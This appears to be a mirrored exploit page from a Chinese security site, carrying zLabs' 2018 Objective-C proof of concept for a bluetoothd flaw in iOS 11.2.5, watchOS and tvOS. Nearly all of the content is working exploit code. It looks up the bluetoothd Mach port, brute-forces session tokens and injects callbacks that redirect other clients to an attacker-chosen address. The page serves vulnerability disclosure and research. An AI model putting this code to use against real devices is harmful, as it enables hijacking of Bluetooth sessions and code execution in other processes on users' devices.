首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple iOS 11.2.5 / watchOS 4.2.2 / tvOS 11.2.5 - 'bluetoothd' Memory Corruption
来源:Zimperium zLabs Team 作者:zLabs 发布时间:2018-03-01  
//
//  main.m
//  bluetoothdPoC
//
//  Created by Rani Idan.
//  Copyright © 2018 zLabs. All rights reserved.
//
 
 
#import "AppDelegate.h"
 
#include <mach/mach.h>
 
extern kern_return_t bootstrap_look_up(mach_port_t bs, const char *service_name, mach_port_t *service);
 
/* When hijacking session between bluetoothd and client, add callback to the client and jump to CALLBACK_ADDRESS with CALLBACK_ADDITIONAL_DATA */
#define CALLBACK_ADDRESS 0xdeadbeef
#define CALLBACK_ADDITIONAL_DATA 0x13371337
 
#define BLUETOOTHD_CONST 0xFA300
#define BLUETOOTHD_WRONG_TOKEN 7
 
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE 0x44
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE 0x48
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS 0x113
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID 3
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT 0x1000
#define BLUETOOTHD_MIG_SERVER_NAME "com.apple.server.bluetooth"
 
#define ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET 0x20
#define ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET 0x20
#define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET 0x28
#define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA 0x40
 
 
 
typedef unsigned int mach_msg_return_value;
 
 
mach_port_t get_service_port(char *service_name)
{
    
    kern_return_t ret = KERN_SUCCESS;
    mach_port_t service_port = MACH_PORT_NULL;
    mach_port_t bs = MACH_PORT_NULL;
    
    
    ret = task_get_bootstrap_port(mach_task_self(), &bs);
    
    ret = bootstrap_look_up(bootstrap_port, service_name, &service_port);
    if (ret)
    {
        NSLog(@"Couldn't find port for %s",service_name);
        return MACH_PORT_NULL;
    }
    
    NSLog(@"Got port: %x", service_port);
    
    mach_port_deallocate(mach_task_self(), bs);
    return service_port;
}
 
 
mach_msg_return_value BTLocalDevice_add_callback(mach_port_t bluetoothd_port, mach_port_t session_token, void* callback_address, long additional_data)
{
    mach_port_t receive_port = MACH_PORT_NULL;
    mach_msg_header_t * message = NULL;
    char *data = NULL;
    kern_return_t ret = KERN_SUCCESS;
    
    mach_msg_return_value return_value = 0;
    
    
    
    mach_msg_id_t msgh_id = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID;
    mach_msg_size_t recv_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE;
    mach_msg_size_t send_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE;
    mach_msg_option_t options = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS;
    mach_msg_size_t msg_size = MAX(recv_size, send_size);
    
    
    ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port);
    if ( ret != KERN_SUCCESS)
    {
        return_value = -3;
        NSLog(@"Failed to allocate port ret=%x", ret);
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        goto cleanup;
    }
    ret = mach_port_insert_right(mach_task_self(), receive_port, receive_port, MACH_MSG_TYPE_MAKE_SEND);
    if ( ret != KERN_SUCCESS)
    {
        return_value = -3;
        NSLog(@"Failed to insert port right ret=%x", ret);
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        goto cleanup;
    }
    message = malloc(msg_size);
    data = (char *)message;
    
    memset(message, 0, msg_size);
    
    *((mach_port_t *)(data+ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET)) = session_token;
    *((void **)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET)) = callback_address;
    *((long *)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA)) = additional_data;
    
    message->msgh_bits = 0x1513 ;
    
    message->msgh_remote_port = bluetoothd_port; /* Request port */
    message->msgh_local_port = receive_port; /* Reply port */
    message->msgh_size =  send_size;    /* Message size */
    message->msgh_reserved = 0;
    
    
    message->msgh_id = BLUETOOTHD_CONST + msgh_id;
    
    ret = mach_msg(message,              /* The header */
                   options, /* Flags */
                   send_size,              /* Send size */
                   recv_size,              /* Max receive Size */
                   receive_port,                 /* Receive port */
                   BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT,        /* No timeout */
                   MACH_PORT_NULL);              /* No notification */
    
    
    if(MACH_MSG_SUCCESS == ret)
    {
        return_value = *(mach_msg_return_value *) (((char *) message) + ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET);
        if (return_value != BLUETOOTHD_WRONG_TOKEN) {
            NSLog(@"Sent message id %d with token %x, returned: %x", msgh_id, session_token, return_value);
        }
    } else if (MACH_RCV_INVALID_NAME == ret)
    {
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        NSLog(@"mach_error_int: ret=%x", ret);
        NSLog(@"mach_remote_port: %x", message->msgh_remote_port);
        return_value = -2;
    }
    else {
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        NSLog(@"mach_error_int: ret=%x", ret);
        NSLog(@"mach_remote_port: %x", message->msgh_remote_port);
        return_value = -1;
    }
    
    
cleanup:
    if(MACH_PORT_NULL != receive_port)
    {
        mach_port_destroy(mach_task_self(), receive_port);
    }
    if (NULL != message) {
        free(message);
    }
    return return_value;
}
 
 
 
void try_to_add_callback_BTLocalDeviceAddCallbacks(void * address, long value)
{
    int ports_found[0xffff] = {0};
    int number_of_ports_found = 0;
    
    mach_port_t bluetoothd_port = get_service_port(BLUETOOTHD_MIG_SERVER_NAME);
    if (MACH_PORT_NULL == bluetoothd_port)
    {
        NSLog(@"Couldn't have bluetoothd port");
        return;
    }
    
    NSLog(@"Starting to look for session tokens");
    for (int i = 0; i <= 0xffff; i++) {
        int id = 0;
        id = (i << 16) + 1;
        int result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
        if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
        {
            NSLog(@"Found port: %x", id);
            ports_found[number_of_ports_found] = id;
            number_of_ports_found ++;
        }
        
        
        id = (i << 16) + 2;
        result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
        if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
        {
            NSLog(@"Found port: %x", id);
            ports_found[number_of_ports_found] = id;
            number_of_ports_found ++;
        }
        
        
        id = (i << 16);
        result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
        if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
        {
            NSLog(@"Found port: %x", id);
            ports_found[number_of_ports_found] = id;
            number_of_ports_found ++;
        }
        
    }
    
    for (int i = number_of_ports_found-1; i>=0; i--) {
        NSLog(@"Adding callback: Port=%x address=%x value=%x", ports_found[i], (unsigned int)address, (unsigned int)value);
        BTLocalDevice_add_callback(bluetoothd_port, ports_found[i],address, value);
    }
    
    NSLog(@"Done");
    return;
}
 
void trigger() {
    try_to_add_callback_BTLocalDeviceAddCallbacks((void *)CALLBACK_ADDRESS, CALLBACK_ADDITIONAL_DATA);
}
 
 
int main(int argc, char * argv[]) {
    trigger();
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Concrete5 < 8.3.0 - Username /
·Sony Playstation 4 (PS4) 4.07
·Microsoft Windows Windows 8.1/
·ActivePDF Toolkit Code Executi
·GetGo Download Manager 5.3.0.2
·IrfanView 4.44 Email Plugin -
·Sony Playstation 4 4.55 FW - L
·IrfanView 4.50 Email Plugin -
·Asterisk 15.2.0 chan_pjsip INV
·SEGGER embOS/IP FTP Server 3.2
·Asterisk 15.2.0 chan_pjsip SDP
·DualDesk 20 - 'Proxy.exe' Deni
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved